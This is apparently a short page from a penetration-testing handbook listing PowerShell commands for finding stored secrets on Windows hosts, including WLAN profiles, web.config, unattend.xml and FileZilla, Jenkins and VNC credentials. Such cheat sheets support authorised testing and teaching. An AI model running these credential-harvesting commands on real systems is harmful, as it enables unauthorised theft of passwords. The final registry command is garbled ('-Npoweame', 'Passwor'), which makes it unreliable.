> For the complete documentation index, see [llms.txt](https://aidenpearce369.gitbook.io/handbook/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://aidenpearce369.gitbook.io/handbook/ad-pentesting/dumping-secrets/informational-files.md).

# INFORMATIONAL FILES

List all user folders of all users

```powershell
tree /f /a C:\Users
```

Get all details about WLAN profiles

```powershell
cat C:\ProgramData\Microsoft\Wlansvc\Profiles\*.xml
```

Listing `web.config` files

```powershell
cat C:\inetpub\www\*\web.config
cd C:\; ls web.config -r
```

Listing `unattend.xml`

```powershell
cat C:\Windows\Panther\Unattend.xml
cd C:\; ls unattend.xml -r
```

List config files

```powershell
cd C:\ProgramData\Configs\ ; ls
```

List PowerShell scripts and config files

```powershell
cd C:\Program Files\Windows PowerShell\; ls
```

Get Putty config

```powershell
cd C:\Users\[USERNAME]\AppData\LocalLow\Microsoft\Putty; ls
```

Get FileZilla creds

```powershell
cat C:\Users\<USERNAME>\AppData\Roaming\FileZilla\FileZilla.xml
```

Get Jenkins creds

```powershell
cat C:\Program Files\Jenkins\credentials.xml
```

Get VNC password from registry and to decrypt it use [vncpwd](https://github.com/jeroennijhof/vncpwd)

```powershell
Get-ItemProperty -Path HKLM:\Software\TightVNC\Server -Npoweame "Password" | select -ExpandProperty Passwor
```